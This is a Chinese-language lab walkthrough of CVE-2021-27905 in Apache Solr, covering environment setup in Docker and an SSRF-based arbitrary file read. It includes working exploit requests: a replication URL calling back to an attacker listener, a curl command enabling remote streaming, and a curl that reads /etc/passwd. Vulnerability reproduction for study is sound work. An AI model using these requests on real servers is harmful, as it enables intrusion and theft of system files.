Apache Solr是一个开源的搜索服务,使用Java编写、运行在Servlet容器的一个独立的全文搜索服务器,是Apache Lucene项目的开源企业搜索平台。
该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。
Apache Solr 7.0.0 - 7.7.3
Apache Solr 8.0.0 - 8.8.1
docker下载运行环境:docker run -d -P vulfocus/solr-cve_2021_27905
访问8983所映射的端口就是网站主页
浏览器访问 http://192.168.237.129:49153
,进入 Core Admin
,点击 Add Core
。
点击 Add Core
会发生错误。
根据错误提示里的 new_core
路径
在终端中输入docker ps查看当前的容器,然后docker exec -it 3ce0b013a405 /bin/bash进入容,复制配置文件到core文件夹 -r:递归复制,用于目录的复制操作
cp -r server/solr/configsets/_default/conf /var/solr/data/new_core
再次进入网页,点击 Add Core
,即可创建成功。环境就到这里创建成功.
环境搭建完成。
Apache Solr 8.8.2之前版本存在安全漏洞,Apache Solr 中的 ReplicationHandler(通常注册在 Solr core下的“/replication”)有一个“masterUrl”(也是“leaderUrl”别名)参数,用于指定另一个 Solr core上的另一个 ReplicationHandler 将索引数据复制到本地core。为了防止 SSRF 漏洞,Solr 应该根据它用于“shards”参数的类似配置检查这些参数。攻击者可利用该漏洞,传递特定参数,构造并执行服务端请求伪造,造成攻击者任意读取服务器上的文件,利用该漏洞可造成内网信息探测。
solr 支持配置两个core,分别是主(master)和从(slave),我们可以主动控制让从(slave)去获取主的备份,而master的地址在配置文件可以配置,也允许请求者指定。
这个漏洞需要将本地的Solr作为slave,默认solr就有多个core,这里选定任意一个db
限制:Solr 必须配置主从模式;受影响的是从(slave)服务器
通过访问如下链接,可以看到当前的Core名称。
/solr/admin/cores?indexInfo=false&wt=json
使用攻击机监听本地端口。
再根据刚获得的Core名称,访问如下链接,即可看到反弹信息。
http://192.168.237.129:49153/solr/new_core/replication?command=fetchindex&masterUrl=http://192.168.237.130:9999
结合刚获得的Core名称,访问如下链接,可得到以下该界面。
http://192.168.237.129:49153/solr/new_core/config
默认情况下,requestDispatcher.requestParsers.enableRemoteStreaming
是关闭的。
因此,首先利用 Config API
打开默认关闭的requestDispatcher.requestParsers.enableRemoteStreaming
开关。
curl -i -s -k -X 'POST' -H 'Content-Type: application/json' --data-binary '{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.237.129:49153/solr/new_core/config
curl
-i 查看header头信息
-s 不输出统计信息
-k 使用能忽略证书不受信问题
-X 指定POST请求
-H 添加http请求的标头
-d 用于发送post请求的数据体
这就便可以进行远程任意文件读取了。
如利用 file协议
获得账户信息:
$ curl -i -s -k 'http://192.168.3.137:5000/solr/new_core/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'